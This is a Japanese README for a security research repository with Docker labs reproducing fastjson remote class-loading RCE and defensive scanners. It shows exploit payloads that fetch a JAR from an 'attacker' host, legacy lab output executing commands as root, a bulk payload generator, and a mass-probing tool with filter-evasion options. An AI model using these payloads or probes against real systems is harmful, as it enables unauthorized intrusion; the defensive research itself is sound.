
Dockerラボ + fastjsonリモートクラスロードRCE用のディフェンシブスキャナ。fastjson 1.2.66-1.2.83: @JSONTypeリソースプローブ(CVE-2026-16723)。fastjson2 2.0.57: 攻撃者の@typeが、多態型(@JSONType(seeAlso) / Jackson @JsonSubTypes)を介してautoType無効時にloadClassへ到達。マーカーのみのペイロード。safeMode + JDK17コントロール。
@JSONType リモートJAR/FDチェーン ラボと検出このリポジトリには、現在2つの異なるFastjson調査トラックが保存されています:
modern-fd/ は、Spring Boot 3、標準の組み込みTomcat、JDK 17上でのFastjson 1.2.83 シングルボディのリモートJAR/ファイルディスクリプタチェーンの、推奨されるマーカーのみの再現です。AutoTypeを無効にした状態で、リテラルな固定DTOシンク JSON.parseObject(body, BoundEnvelope.class) を使用します。scanner/ には、パッシブなリクエスト/ログ検出、静的アーティファクトのインベントリ、および実行を伴わない到達可能性プローブが含まれています。バグ:
ParserConfig.checkAutoTypeは、getResourceAsStream(typeName.replace('.','/') + ".class")を実行することで、 すべての@type値に@JSONTypeアノテーションがないかを調べます。 モダンなLinux/JDKの組み合わせでは、リモートのjar:httpプローブが、開いたディスクリプタの背後にJARを キャッシュしたままにすることがあります。その後、同じボディ内のjar:file:/proc/self/fd/Nプローブは、 有効なクラス名でそれを再度開き、アノテーション付きクラスを初期化できます。 正確な1.2.83の構成は、AutoType無効かつList<Object>を含む固定DTOを介して機能します。 したがって、バインドだけでは緩和策になりません。完全なウォークスルー:docs/MECHANISM.md。
併設のプロジェクト全体レビューでは、Fastjson 1.2.83の本番Javaファイル全193個にわたり、2,041行の呼び出し可能/静的初期化子を対象としました。以下の表は、影響が最も大きい結果を優先順位付けしたものです。すべてのFastjsonデプロイメントが影響を受けるという主張ではありません。このリポジトリはF105を直接再現しています。残りのエントリは、別途実施した封緘ソースレビューと限定されたラボ証拠を要約したものです。
検証ラベル、前提条件、下位レベルの調査結果、修復の優先順位、明示的な否定的境界については、findings/FINDINGS.md を参照してください。
このリポジトリは、所有している、または明示的にテストを許可されたシステムに対する教育、防御研究、および許可されたテストを目的としています。モダンラボの内部ネットワークでサポートされている場合、ホストの公開は 127.0.0.1 のみで行うよう要求されています。そのスクリプトは、テストをその隔離されたネットワーク内でのみ完全に実行します。モダンラボにはプロセス実行プリミティブはなく、固定のJVM内マーカーのみを設定します。レガシーJDK 8ラボは id を実行し、その出力を /tmp/PWNED に書き込みます。隔離したままにしてください。レガシーエクスプロイトやアクティブプローブを、許可されていないシステムに向けないでください。
scanner/ ディレクトリには、依存関係のないPython 3ツールが4つ同梱されています(pipインストール不要)。
fjdetect.py — デコードされたJSONリクエストボディまたは構造化JSONログをパッシブに検査し、リモートJARシードおよび /proc/self/fd や /dev/fd のシーケンスを探します。fjscan_static.py — 脆弱な組み合わせ(コンテンツベースでメタデータ検証済みの1.2.83 × 実際のSpring Bootローダークラスコンテンツ)についてjars/wars/earsをインベントリ化します。プローブを含む1.2.48〜1.2.82リリースと、メタデータ/ファイル名のみの候補は、レビューのために別途報告されます。CIゲートに適しています(EXPOSED の場合は終了コード2)。fjscan_probe.py — アクティブで安全な到達可能性チェック: 制御下にあるカナリー(組み込みリスナーまたはBurp Collaborator / interactsh)に対して @type を発射し、リソース取得コールバックを関連付けます。組み込みリスナーは空の404を返します。外部リスナーも同等に設定してください。コールバックはクラス読み込みやRCEを証明するものではありません。fjpayload.py — 手動テスト用のリモートリソース取得ボディを生成します。実行を意図しない場合は、空/404リスナーのみを使用してください。# 1) passive request/log inspection
python3 scanner/fjdetect.py --ndjson gateway.jsonl
# 2) inventory build artifacts / unpacked images (parallel)
python3 scanner/fjscan_static.py /path/to/artifacts --threads 16
# 3) active probe across many domains — simplest: --auto fires baseline + plain + escaped comparison
# DNS probes per target and prints a rollup; DNS callbacks land in your Burp Collaborator
python3 scanner/fjscan_probe.py --collaborator <sub>.oastify.com --auto --targets domains.txt --threads 50
cat domains.txt | python3 scanner/fjscan_probe.py --collaborator <sub>.oastify.com --auto --targets -
# 4) bulk fetch payloads for manual testing (one per domain, stable correlation token)
python3 scanner/fjpayload.py <collab-or-ip> --targets-file domains.txt
domains.txt = 1行に1ターゲット — 完全な [METHOD ]URL またはベアドメイン(--scheme / --target-port / --path で展開される); # コメントは許可されます:
api.internal.example
POST https://svc.example/v1/ingest
10.0.0.7:8080
fjscan_probe.py(アクティブプローブ)
fjscan_static.py(インベントリ): <paths…> · --threads N(デフォルト 8)· --json(マシン出力。いずれかが EXPOSED の場合、終了コード 2)。
fjpayload.py(ジェネレータ): <collaborator> · --targets-file/-f <file\|->(一括)· --port · --token · --wrap · --entry。
Collaboratorに関する注意:
@JSONTypeのjar:シンクはtypeName.replace('.','/')を実行するため、ホスト内の すべてのドットがスラッシュになります。ドット付きのBurp Collaboratorサブドメイン(abc.oastify.com)はそれを介して 配信できません(ツールは整数IP + URLパストークンにフォールバックします)。パブリックCollaboratorへのコールバックを 取得するには、--probe-type dnsを使用してください。java.net.Inet4Addressプリミティブはドット付きホストを 受け入れ、DNSインタラクション(<tok>.<sub>.oastify.com)を発火させ、Inet4Addressパースプリミティブ + イーグレスを 確認します。これは前提条件の証拠であり、リモートJAR/FD終端の証明ではありません。scanner/README.mdを参照してください。
要件: Docker + Docker Compose、および初回ビルド時にMaven Centralへのアウトバウンドアクセス(fastjson / spring-boot-loader / asmを取得するため)。
cd modern-fd
./scripts/static-safety-check.sh
./scripts/run-positive.sh
./scripts/run-controls.sh
ポジティブケースは、通常の組み込みTomcatリクエストスレッドに1つのボディを送信します。そのリテラルシンクは final BoundEnvelope parsed = JSON.parseObject(body, BoundEnvelope.class) です。成功条件は、固定プロパティとログトークン FASTJSON_MODERN_FD_MARKER=fastjson-modern-fd-marker-v1 のみです。レスポンスは引き続き、通常どおりバインドされた BoundEnvelope を返します。エビデンスディレクトリには、リクエスト、レスポンス、コンテナメタデータ、ログ、SHA-256マニフェストが含まれます。
コントロールは、通常のJSON、シードなしのFD候補、不可能なディスクリプタが続くシード、SafeModeを対象としています。modern-fd/README.md を参照してください。
FearsOffの開示は、プロセス永続キャッシュとリクエストごとに1つのFD候補を使用して、JDK 21で同じ保持JAR終端を示しています。このリポジトリのモダンラボは代わりに、シングルボディのJDK 17構成を再現します。フェイルソフトシードと制限付きFD候補は、1つの固定DTOリクエストで運ばれます。JDK 21は引き続き外部報告のみであり、ここで生成されたランタイム結果ではありません。
元のトップレベルComposeプロジェクトは、以前のワンステージ経路を再現するために引き続き利用できます。modern-fd/ とは異なり、コマンド実行が可能であり、隔離されたラボ内でのみ実行してください:
make up
make exploit
make down
期待される make exploit の出力:
[*] payload : {"@type":"jar:http:..attacker:8000.probe!.POC","x":1}
[*] response: {"ok":false,"error":"ClassCastException"} <- RCE already fired, THEN the cast
[*] PROOF — command output captured inside the TARGET container (/tmp/PWNED):
------------------------------------------------------------------
uid=0(root) gid=0(root) groups=0(root)
RCE_via_fastjson_JSONType
------------------------------------------------------------------
ClassCastException は、バインドが緩和策ではないことを示すサインです。攻撃者クラスは、fastjsonがそれを Dto にキャストしようとする前に、@type プローブ中に <clinit> を実行します。
target/Dockerfile をJDK 17に変更すると、このレガシーな細工された名前の定義がブロックされ、フェッチだけが残ります。その結果は、modern-fd/ 内の別個の /proc/self/fd 継続をテストも緩和もしません。setAutoTypeSupport(true) を決して呼び出しません。http://127.0.0.1:8080/ のバナーを確認してください。PWN_CMD='touch /tmp/i_was_here' docker compose up -d --build attacker。通常のハンドラーフリー経路で -Dfastjson.parser.safeMode=true を有効にするか、即時の移行が不可能な場合はベンダーの com.alibaba:fastjson:1.2.83_noneautotype ビルドを使用し、インストールされている AutoTypeCheckHandler を監査してください。JVMのイーグレスを制限し、信頼できないパースをFastjson 1.xから移行し、デコードされた @type リモートJARシードと /proc/self/fd または /dev/fd の候補について、単一リクエスト内およびリクエスト間の相関の両方でアラートを発報してください。DTOバインドとJDK 9+は、モダンな構成に対する完全な緩和策ではありません。
fastjson2/ は2つ目の独立したラボです。fastjson2にはfastjson 1.xの @JSONType リソースプローブは含まれていません。ただし、パース経路がポリモーフィック型を伴う場合は常に、攻撃者が制御する @type がautoType無効の状態で ClassLoader.loadClass() に到達することを許可します。これは、ObjectReaderSeeAlso のコンストラクタが SupportAutoType をハードコードしており、seeAlsoの不一致が、代入可能性チェックとDataSource/RowSetチェックが実行される前に完全なautoType解決へフォールスルーするためです。
トリガーは通常のモデリングアノテーションです — @JSONType(seeAlso=)、Jackson @JsonSubTypes(useJacksonAnnotation がデフォルトでtrueのため尊重されます)、@JsonTypeInfo、sealed型。Spring Bootのfat jarでは、コンテキストクラスローダーが jar:http: 名を解決するため、クラスがネットワークから取得され、その静的初期化子が実行されます。
fastjson2 2.0.62(最新リリース)および2.0.57で、JDK 8上で再現されました。safeMode=true はこれをブロックします。JDK 17ではSSRFにダウングレードされます。autoTypeFilter(...) は保護しません。Chaitin(长亭) により開示されました(~2026-07-25)— これはこのリポジトリの調査結果ではありません。メンテナは、型名の : と ! を拒否する PR #7703(クローズされた #7695 を置き換え)でハードニング作業を進めています。リリース済みのいずれのバージョンにも含まれていません — 2.0.62は両方より前のバージョンです。
make fj2-safety # prove the payload is marker-only
make fj2-positive # default config -> remote class defined + initialised
make fj2-controls # plain parse / safeMode / JDK 17 / Jackson-only model / allowlist
/proc/self/fd のメカニズムを開示しています。@JSONType / jar-URL内部名テクニック: @wouijvziqy — https://github.com/wouijvziqy/Fastjson-JsonType-RCE-PoC。attacker/Gen.java は、このラボ向けにそのテクニックを再実装しています。/proc/self/fd 仮説を提供しました。これらは外部報告として扱われ、独立したランタイム証明としては扱われませんでした。modern-fd/ は、独自に作成されたマーカーのみのクラスと通常の固定DTO Tomcatエンドポイントを使用しています。fastjson2/ ラボは、この開示の独立した再現であり、このリポジトリの独自の調査結果ではありません。追跡スレッド: (ユーザー により開設); メンテナによるハードニングは / クローズ済み 。このラボと scanner/ ツールは、これらの調査結果を再現可能なテストベッドと防御チェックにパッケージ化しています。上記の研究者とは提携しておらず、その推薦を受けたものでもありません。
| 優先度 | 調査結果 | 証明された結果 | 重要な境界 |
|---|
| 1 | F105 — リモート @JSONType バイトコード実行 | JDK 8ダイレクト経路およびLinux/JDK 17の保持JAR /proc/self/fd/N 継続を含む、互換性のあるSpring Bootローダーを介した攻撃者供給クラスの初期化 | パーサーから到達可能な @type キャリア、互換性のあるBoot/TCCLローダー、イーグレス、SafeMode/IgnoreAutoTypeオフ、正確な攻撃者JARが必要。モダンな固定DTO経路ではさらに、ジェネリック値レーン(ラボでは List<Object> を使用)、Linux procfs、保持されたディスクリプタ、正確な名前の一致が必要。すべてのJDK、ローダー、OSで普遍的に機能するわけではない |
| 2 | F1/F45 — TemplatesImpl コマンド実行 | 無視されるボディプロパティを含む固定DTO APIを介したマーカーコマンド実行 | 弱められたサーバーポリシーが必要: クラス許可、AutoType、プライベートフィールドの投入、または同等の経路。初期状態のデフォルト設定ではブロックされる |
| 3 | F70/C016 — 無制限バッファリングとGZIP展開 | 型付きbyte/InputStreamおよびアノテーション付きDTO経路が、出力上限なしで展開またはバッファリングされる。制約付きヒープでのJava OOMEを再現 | エンドポイント/スキーマと攻撃者バイトの到達可能性が必要。本番全体の停止は確認されていない |
| 4 | F18/C089 — パーサースレッドのスタック枯渇 | 深くネストされた通常のオブジェクト値が、デフォルトのパースで StackOverflowError を引き起こす可能性がある | リクエストスレッドの可用性への影響。JVM全体またはサービス全体の不変なクラッシュではない |
| 5 | F120/C162 — 固定スキーマHTTP SSRF/ローカルリソース読み込み | ボディで制御される JEditorPane/JTextPane.page がHTTPリクエストを実行し、制限付きの file: コンテンツをDocument状態に読み込む可能性がある | アプリケーションがSwing型を宣言している必要がある。自動的なレスポンス外部送信やRCEは証明されていない |
| 6 | F118/C160 — ハッシュ衝突による認可/データ整合性の失敗 | 異なるUnicode FNV-1a-64衝突が、特権付きenum定数にバインドされたり、JSONPath変更を誤ったBeanセッターにルーティングしたりする可能性がある | 使用可能な衝突と下流の信頼、または公開されたJSONPath変更操作が必要。クラス許可やRCEは発生しない |
| 7 | F121/C163 — 固定JdbcRowSet JNDI到達可能性 | 正確なセッター順序により、ボディで選択された1つのアウトバウンドJNDI/LDAP接続が発生した | 証拠は接続まで: ネーミング応答、オブジェクトファクトリ、バイトコード読み込み、RCEはなし |
| 8 | F2/F45 — デフォルトDNS解決 | 攻撃者が制御するホスト名解決が、デフォルト設定かつ無視される固定DTOプロパティを介して機能する | DNS/OOBインタラクションのみ。汎用HTTP SSRFやRCEではない |
| フラグ | デフォルト | 目的 |
|---|
--auto | off | 最も簡単 — ターゲットごとにベースライン + プレーン + Unicodeエスケープ比較DNSプローブを送信し、集計を出力します。必要なのは --collaborator + --targets のみ |
--canary-ip <ip> | — | 組み込みリスナーモード。ターゲットから見たこのホストのIP |
--collaborator <v> | — | 外部OOB(IPv4 / 整数IP / ドットなしホスト / Collaboratorサブドメイン) |
--probe-type <t> | jsontype | 手動モード: jsontype = リモートリソース取得経路(jar:http 整数IP); dns = ドット付きホストを介した Inet4Address OOB(Collaborator互換); both |
--targets <file|-> | — | 空でないターゲットリスト; - は標準入力から読み取ります(必須); 空またはコメントのみの入力はゼロ以外のコードで終了します |
--threads N | 20 | 同時リクエストワーカー数 |
--header 'K: V' | — | 追加のリクエストヘッダー(繰り返し指定可能)。代表的なフロントエンドリクエスト用に、ブラウザ風の --user-agent がデフォルトで送信されます |
--baseline '{"a":1}' | — | ターゲットごとに良性のコントロールボディも送信します。ベースライン/プローブのレスポンス差分は、コンテンツに敏感なエッジ、ミドルウェア、またはアプリケーション処理と整合的であり、裏付けが必要です |
--max-redirects N | 3 | 最大N回の同一オリジンリダイレクト、または標準の同一ホストHTTP:80→HTTPS:443アップグレードに従います(0 = なし)。HTTPSダウングレード、任意のポート/オリジン変更、クロスホストリダイレクトはブロックされます。アップグレード時には基本の非秘密ヘッダーのみが保持されます |
--evasion {ukey,uval,both} | none | @type キー / クラス値を \uXXXX エスケープします(fastjsonはそれでもデコードします)。エスケープのみのコールバックは、デコードされたプローブデータがリテラルキーワードフィルターを通過したことと整合的ですが、それでもパーサー/バージョンの裏付けが必要です |
--scheme / --target-port / --path | http / — / /parse | ベアドメインがどのように展開されるか |
--method | POST | デフォルトのHTTPメソッド |
--wrap '{"u":{{P}}}' | {{P}} | プローブオブジェクトをフィールド内にネストします |
--listen-port / --port | 19000 / 80 | 組み込みカナリーポート / Collaboratorポート |
--wait / --timeout | 10 / 8 | コールバックを待つ秒数 / リクエストごとのタイムアウト |
| パス | 内容 |
|---|
modern-fd/ | マーカーのみのBoot 3/JDK 17固定DTO FDチェーンラボと決定的なコントロール |
scanner/ | パッシブなペイロード/ログ検出、静的インベントリ、実行を伴わない到達可能性ツール |
target/ | 手動で選択したBootローダーで JSON.parseObject(body, Dto.class) を使用するレガシーJDK 8ターゲット |
attacker/ | レガシーなコマンド実行可能なJDK 8クラスジェネレータおよびJARサーバー |
exploit/ | レガシー exploit.sh の証明 |
docs/MECHANISM.md | 注釈付きソースのウォークスルー |
findings/FINDINGS.md | 優先順位付けされたプロジェクト全体の調査結果、前提条件、修復の境界 |
sevcksafeMode、およびCVE-2022-25845の背後にあるautoTypeの歴史も参照)。